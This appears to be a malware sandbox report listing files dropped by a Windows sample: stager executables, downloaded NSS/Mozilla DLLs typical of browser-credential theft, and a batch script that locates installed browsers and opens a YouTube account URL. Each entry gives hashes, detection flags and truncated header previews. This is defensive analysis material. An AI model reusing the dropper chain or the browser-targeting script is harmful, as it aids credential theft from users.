eAvNjhrlo5GOJiTA/oXLTdG

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.844119546843546
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxAxl9Il8uXffBu3BLNOzFo9jXRaUd1rc:mdYRfc3BLSo9TRE
MD5:	F2D831647835E8D486F17A3C4EE48CC9
SHA1:	CAA3CCB782D78FC37D587E8C43329A95A16FBBEF
SHA-256:	1B2264C480CA705367D425A00A5A495F17FE5AD9EF4D34B29C05793F5421C520
SHA-512:	756BF7225286EC93AA7A00B936EC8D6792F0EE76E17448CA3773384A204FD9B712225BCEA5AD93BB3EAC6B0DDE30DC07DC2DA6CD1B81D0C3ADACA39777A9FB2A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.I.H.5.N.1.r.f.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.t.2.R.8./.4.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.998476351835922
Encrypted:	false
SSDEEP:	96:uYRf2IOFZWyZlTlc31KNuRwYyMYqhS1w7SSDYJXp:u0f2LZWQxl20Nny4wJYJ5
MD5:	A5E9601FE4506D3D8582043B3E1CF3B4
SHA1:	31C261988FAFF7448DFA826BACCD3F1168BC03DA
SHA-256:	93774256E343FE46008B5C94B8F3D30B9810F7F15B2F73C285F573D556E0B419
SHA-512:	C3B38F83C671FE0F180369A2C7AFB620C5886A1A9E75013C608AA3D9AE7BA2CFDC2BDE6DD311BADA2035C2E3199FE8ABA2E1B29806D72D11AC542B9C98CB4AF3
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".p.D.n.D.H.V.L.f.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.t.2.R.8./.4.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	265728
Entropy (8bit):	5.898648199084255
Encrypted:	false
SSDEEP:	3072:vXPkt2KusPDmb3UAkiCqp+dnrvGTT1sTVZEdoDJKhfGThIs63tqT2:fPw2KusuUAV+dnrvGTT1BKJoCysEtqT
MD5:	268974E398224E4C5F7D30F8221A5F93
SHA1:	5D11A31A4012266BD5BDA4F6DEBB80CA34A13A54
SHA-256:	1C18346ECCF2800753F37747B7D4C20D4E778849906186F1BF586244589BFDA5
SHA-512:	B21022BA5DB5EC9780A91ADB375C9D32996F3F6B2049F3506B8DAE0C2C9C2A9EB35F3711A87559051F69E5EC395591774C671ABA8B47F8D7EC7493D0D7A02D64
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E.G...)...)...).n.....).n.....).n...e.).......)...(.s.).n.....).n.....).n.....).Rich..).........................PE..L....$.d............................< .......0....@..........................................................................X..d...................................HY...............................S..@............0...............................text............................... ..`.rdata...2...0...4..................@..@.data........p.......R..............@....fiti...............................@..@.jotibe..............2..............@....rsrc................6..............@..@................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91648
Entropy (8bit):	6.753807586992998
Encrypted:	false
SSDEEP:	1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfExwISeOq:Hq6+ouCpk2mpcWJ0r+QNTBfENR
MD5:	9FDE5445045E43D9507D20A2BBA50696
SHA1:	B996C962D8CF7E073F4BF5BC738E21E3273DB649
SHA-256:	AABE8925FFD443357B00BB1EAAD58D028090B95AB492FB942C39C12D9BB78ABD
SHA-512:	691C143C2BF39A6DB457F20AD4C1B1DCC1C5B34B1DF85AFABD45C6511991171AC2FBB35CDD69F0B02BD9641062AF339C442A019D205E12AB8EA8E7BD9D78B5A6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\enter[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870848
Entropy (8bit):	7.9499154770466935
Encrypted:	false
SSDEEP:	49152:70jEH8GosswSBQTiNQza4GYnSZrV2azV/r4wCY9W:704cwfSlQeAnSZpTIY9
MD5:	33A84EA233FE9FE1B4C85E533A228BBD
SHA1:	413D73DD32BCCE870CF5EDD4B777051762882034
SHA-256:	A777BBCE91625E3261EDEBB334BE8610372DAAF0790763FC2FD085DB35B8463D
SHA-512:	0F28610C0396BAC87E8EB7C8BCEB0CD468CEBE4DF9BCA2A9E8BA2F3F37708317D6E621FDD9A9CDB6046B43EB578237124215F15BC614B016457CB37117E8395A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................J...........@...........................J......B....@.................................W...k.............................J..............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...axajwlnp......1..t..................@...ubpicycu......J......f..............@....taggant.0....J.."...j..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1878528
Entropy (8bit):	7.9511790279672505
Encrypted:	false
SSDEEP:	49152:P5q5hwjJGpXZ/jHfZELr33caRxXTJ5MJRiNxEBm7HWdYOyMCoU1:swFGpXZjfZ+rnDxl5MJUxP2yG
MD5:	FDDCF49860999A5147F34179C07C4BC6
SHA1:	9272C4C84A44387FF0546C33F8816DE12E993D3D
SHA-256:	0EC6F1E4EA70E94D4B6245ECB1CA8953515E41AD631AF0FBDAD75C2AB14C36E8
SHA-512:	069E5D84F7E9058972C9D1BD6293435EA3EAC9814925C248F753BF35123B9C66B3A61A9F278000E5ECD7BEFD980345D076646B7D4F25EC8574D4D1D47A103075
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................J...........@...........................J.....x.....@.................................W...k.............................J.............................p.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...wfabfqoe......1.....................@...qxvdwait......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\Desktop\6SoKuOqyNh.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870848
Entropy (8bit):	7.9499154770466935
Encrypted:	false
SSDEEP:	49152:70jEH8GosswSBQTiNQza4GYnSZrV2azV/r4wCY9W:704cwfSlQeAnSZpTIY9
MD5:	33A84EA233FE9FE1B4C85E533A228BBD
SHA1:	413D73DD32BCCE870CF5EDD4B777051762882034
SHA-256:	A777BBCE91625E3261EDEBB334BE8610372DAAF0790763FC2FD085DB35B8463D
SHA-512:	0F28610C0396BAC87E8EB7C8BCEB0CD468CEBE4DF9BCA2A9E8BA2F3F37708317D6E621FDD9A9CDB6046B43EB578237124215F15BC614B016457CB37117E8395A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................J...........@...........................J......B....@.................................W...k.............................J..............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...axajwlnp......1..t..................@...ubpicycu......J......f..............@....taggant.0....J.."...j..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\6SoKuOqyNh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	265728
Entropy (8bit):	5.898648199084255
Encrypted:	false
SSDEEP:	3072:vXPkt2KusPDmb3UAkiCqp+dnrvGTT1sTVZEdoDJKhfGThIs63tqT2:fPw2KusuUAV+dnrvGTT1BKJoCysEtqT
MD5:	268974E398224E4C5F7D30F8221A5F93
SHA1:	5D11A31A4012266BD5BDA4F6DEBB80CA34A13A54
SHA-256:	1C18346ECCF2800753F37747B7D4C20D4E778849906186F1BF586244589BFDA5
SHA-512:	B21022BA5DB5EC9780A91ADB375C9D32996F3F6B2049F3506B8DAE0C2C9C2A9EB35F3711A87559051F69E5EC395591774C671ABA8B47F8D7EC7493D0D7A02D64
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E.G...)...)...).n.....).n.....).n...e.).......)...(.s.).n.....).n.....).n.....).Rich..).........................PE..L....$.d............................< .......0....@..........................................................................X..d...................................HY...............................S..@............0...............................text............................... ..`.rdata...2...0...4..................@..@.data........p.......R..............@....fiti...............................@..@.jotibe..............2..............@....rsrc................6..............@..@................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Download File

Process:	C:\Users\user\AppData\RoamingFHJDBKJKFI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1878528
Entropy (8bit):	7.9511790279672505
Encrypted:	false
SSDEEP:	49152:P5q5hwjJGpXZ/jHfZELr33caRxXTJ5MJRiNxEBm7HWdYOyMCoU1:swFGpXZjfZ+rnDxl5MJUxP2yG
MD5:	FDDCF49860999A5147F34179C07C4BC6
SHA1:	9272C4C84A44387FF0546C33F8816DE12E993D3D
SHA-256:	0EC6F1E4EA70E94D4B6245ECB1CA8953515E41AD631AF0FBDAD75C2AB14C36E8
SHA-512:	069E5D84F7E9058972C9D1BD6293435EA3EAC9814925C248F753BF35123B9C66B3A61A9F278000E5ECD7BEFD980345D076646B7D4F25EC8574D4D1D47A103075
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................J...........@...........................J.....x.....@.................................W...k.............................J.............................p.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...wfabfqoe......1.....................@...qxvdwait......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4B76.tmp\4B77.tmp\4B78.bat

Download File

Process:	C:\Users\user\1000003002\d27375200a.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2821
Entropy (8bit):	4.949249124498804
Encrypted:	false
SSDEEP:	48:Nd27V5rN81fN80XUbaOUb5OzQ/iqzQ/hXDTjODAKpxVgXDOev0W:j6rrN81fN80Ebanb5OzQ/iqzQ/hTTj+y
MD5:	DE9423D9C334BA3DBA7DC874AA7DBC28
SHA1:	BF38B137B8D780B3D6D62AEE03C9D3F73770D638
SHA-256:	A1E1B422C40FB611A50D3F8BF34F9819F76DDB304AA2D105FB49F41F57752698
SHA-512:	63F13ACD904378AD7DE22053E1087D61A70341F1891ADA3B671223FEC8F841B42B6F1060A4B18C8BB865EE4CD071CADC7FF6BD6D549760945BF1645A1086F401
Malicious:	false
Preview:	@shift /0..@echo off..setlocal....set "URL=https://www.youtube.com/account"....rem Initialize paths..set "chromePath="..set "edgePath="..set "firefoxPath="....rem Hardcoded paths..set "ProgramFiles64=C:\Program Files"..set "ProgramFiles86=C:\Program Files (x86)"....rem Check for Chrome in 64-bit system directory..if exist "%ProgramFiles64%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles64%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in 32-bit system directory..if exist "%ProgramFiles86%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles86%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in user profiles..for /d %%u in ("%SystemDrive%\Users\*") do (.. if exist "%%u\AppData\Local\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%%u\AppData\Local\Google\Chrome\Application\chrome.exe".. goto check_edge.. )..)....:check_edge....rem C

C:\Users\user\AppData\Local\Temp\F1CD.tmp\F1CE.tmp\F1CF.bat

Download File

Process:	C:\Users\user\1000003002\d27375200a.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2821
Entropy (8bit):	4.949249124498804
Encrypted:	false
SSDEEP:	48:Nd27V5rN81fN80XUbaOUb5OzQ/iqzQ/hXDTjODAKpxVgXDOev0W:j6rrN81fN80Ebanb5OzQ/iqzQ/hTTj+y
MD5:	DE9423D9C334BA3DBA7DC874AA7DBC28
SHA1:	BF38B137B8D780B3D6D62AEE03C9D3F73770D638
SHA-256:	A1E1B422C40FB611A50D3F8BF34F9819F76DDB304AA2D105FB49F41F57752698
SHA-512:	63F13ACD904378AD7DE22053E1087D61A70341F1891ADA3B671223FEC8F841B42B6F1060A4B18C8BB865EE4CD071CADC7FF6BD6D549760945BF1645A1086F401
Malicious:	false
Preview:	@shift /0..@echo off..setlocal....set "URL=https://www.youtube.com/account"....rem Initialize paths..set "chromePath="..set "edgePath="..set "firefoxPath="....rem Hardcoded paths..set "ProgramFiles64=C:\Program Files"..set "ProgramFiles86=C:\Program Files (x86)"....rem Check for Chrome in 64-bit system directory..if exist "%ProgramFiles64%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles64%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in 32-bit system directory..if exist "%ProgramFiles86%\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%ProgramFiles86%\Google\Chrome\Application\chrome.exe".. goto check_edge..)....rem Check for Chrome in user profiles..for /d %%u in ("%SystemDrive%\Users\*") do (.. if exist "%%u\AppData\Local\Google\Chrome\Application\chrome.exe" (.. set "chromePath=%%u\AppData\Local\Google\Chrome\Application\chrome.exe".. goto check_edge.. )..)....:check_edge....rem C

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.419606954477481
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0Xo5P20MpJ5M:JIVuwEw5MUFZLBQLtTqLM
MD5:	B9AB278EDD6FC491352D6987D70779B8
SHA1:	B4BDFE2FB5FDA1B1DAA34365ABEDF5729F5F077B
SHA-256:	0DADFFF22EFCF5A3EAEA5B46F7DB0FCE9C8FEDB63634E0858611C65FE23B3AE7
SHA-512:	70211265150838162D1C743F200F8B272897B0D297DEF12C1480CB5806A71D9D769E02032A9E2B38F31265BF02F4DF53E1B128E8BB0E4C9E0804919DA272D1C9
Malicious:	false
